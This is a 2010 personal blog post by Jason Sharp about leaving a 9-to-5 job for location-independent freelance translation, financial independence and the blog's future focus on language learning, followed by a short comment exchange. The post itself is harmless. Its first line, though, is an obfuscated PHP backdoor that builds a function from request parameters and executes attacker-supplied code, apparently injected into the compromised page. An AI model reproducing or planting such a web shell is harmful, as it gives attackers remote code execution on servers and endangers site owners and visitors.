if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['317eb549f704f6fc96d51f678bd03b5c']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Life Goals and Blog Direction | Beyond Bounds

Life Goals and Blog Direction

Posted by Jason Sharp on Oct 5, 2010 in General | View Comments
Life Goals and Blog Direction

In 2009 I made my first attempt at becoming location independent.  I had never really translated before, but decided to give it a shot.  I didn’t do much research about the topic and just tried to work with some local translation companies.  My lack of experience coupled with being cheated on a few translation projects turned me off of the idea, so I went out and got a 9-5 translation job.

It’s late 2010 and I’m back to translation.  This time though, I have a lot more experience and have learned a lot about how to become a freelance translator.  I’m hungrier than ever to become location independent – mostly because I’m dying to see more of China and the world.  I’ve been in Beijing for 4 years now, and I feel it’s time to move on.

Goal #1, Location Independence:

My first goal is to get out of 9-5 by February 28th.  I don’t care how it happens, just that it happens.  I’m tired of waiting for vacations.  I’m tired of face-time.  I’m tired of traveling to the office everyday just to work on a computer, when I could be doing the same thing from a beach in Thailand.  I want to be able to see my family whenever I want, not when it’s convenient for my company.  I want to go to Japan.

Location independence means that I can work from anywhere – from home, from a coffee shop, or from Brazil, etc. Many jobs don’t actually need employees to sit in the office, but require it anyway out of fear.  Companies fear that employees won’t work hard and will steal (information probably) if they work from home, so companies make employees work from an office to control them.  Some jobs can’t be done from anywhere, however, such as work as a waiter, a mechanic, or hairstylist, but luckily translation can.

If you are an avid blog reader, you may know of many people that have gotten out of 9-5 and are leading incredible lives.  For my inspiration, I read:

Tim Ferriss

Steve Pavlina

Benny the Polyglot

Sean Ogle

My current plans are:

1)      Freelance translating: This is most likely to get me location independent and able to set my own hours.  I’ll be following Benny’s guide at fluent in 3 months.

2)      Ebay/Taobao: I have some plans to start selling things online, which can hopefully supplement some income and help get me out of 9-5.

3)      4-hour work week niche.  If you’ve ever read the four hour work week, you’ll be familiar with Tim Ferriss and his step by step method of getting out of 9-5.

Goal #2, Financial Independence:

The long term goal is financial independence, where I no longer need to freelance translate.  I want to set-up streams of income that work for me even when I’m not there.  I want to be in control of my financial situation, not have to wait for projects, and definitely not have to beg my boss for a raise.  If I create more value, I want to see my income grow at the same time.

This long term goal will be centered on the ideas presented in the 4-hour workweek, plus many of the things I’ve learned in the past 2-3 years blogging and reading about lifestyle design.

Goal #3, Lifestyle Design:

My last goal is to design a life that I want to live, without all of the restrictions and yellow-tape – a life that reflects who I really am.  People are not bank accounts and they are not their job, but so often we have to be compartmentalized and boxed up for easy filing.  I want out of this madness so I can decide my own destiny and reach my potential.

I created this blog in 2009 in order to share my journey and what I learn.  Originally I was just going to write about learning language and China, but my passions aren’t that narrow.  When I dig deep down and think about what drives me to learn language in the first place, it is a passion to learn as much truth about the world as I can.  In order to find out truths, I have to go outside of my American culture goggles, or else I will always be limited by that belief system.  I quickly learned that there were more pairs of belief goggles than just that: such as how I think about 9-5, how I think about money, how I think about my body, etc.  It’s not just enough to go outside of my culture, but I have to go outside of my comfort zones in everything.  It may be impossible to actually find any truths in life, but the pursuit of truth – that challenge – is what drives me everyday to get up and out of bed.  I crave constant improvement.  If I didn’t have that, I wouldn’t be me.

Goals for this Blog:

I will still be focusing on language learning.  I am working on a Guide to Chinese, similar to the Guide to Japanese, which I will be posting for free on my site.  I’m working on it on my own in my spare time, but I will get it done as quickly as possible.

I’m also still going to be learning different languages and posting about the process here.  There are still so many topics that are not covered well on the web, or are covered but not organized in an easy to understand manner.  I’ll be organizing all of these language learning methods and ideas into an easy to use guide.

Finally I’ll be documenting my journey through location independence to financial independence and beyond.  While many people out there have done it, there aren’t any detailed, step-by-step accounts (if there are, please link me!) of how someone went from 9-5 to financial independence, detailing what they learned along the way, what mistakes they made, and what hardships they encountered.  Many of the sites that I mentioned above are good for motivation, but the real story is always not quite described in full.

I lost motivation and wasn’t successful before, but this time around I feel that I can overcome the barriers and make it. I could use some support and advice this time around!

Related posts:

  1. Site Makeover, New Direction, and Blogging Resources
  2. The Linguist Blog, by Steve Kaufmann
  3. City of Life and Death – Nanjing! Nanjing! (Film)
  4. Flooding your life with foreign language
  • Flounder003

    Jason, Have you thought about applying to be working for the US govt. They have alot of opportunities and possibly get a job that you could stay at home and do or travel alot to other countries.

  • http://beyondbounds.org/ Jason Sharp

    Hi Flounder,

    I want a lot more freedom than a government job would allow me. While starting there as a Chinese speaker would net me a good salary, my travel choices would be very limited, and I may not even have a choice at all.

    What I want is the ability to choose my working hours and choose where I work from. If I want to go home for a month, I can AND not have to sacrifice my income. Many people are doing this now.

    Changing from one 9-5 to another is not the answer for me, but it may be for a lot of other people. It’s not the work that I don’t like, it’s the system itself.

    Now if there are some freelance or work from home positions in the government, that would be great, but I haven’t heard of them.

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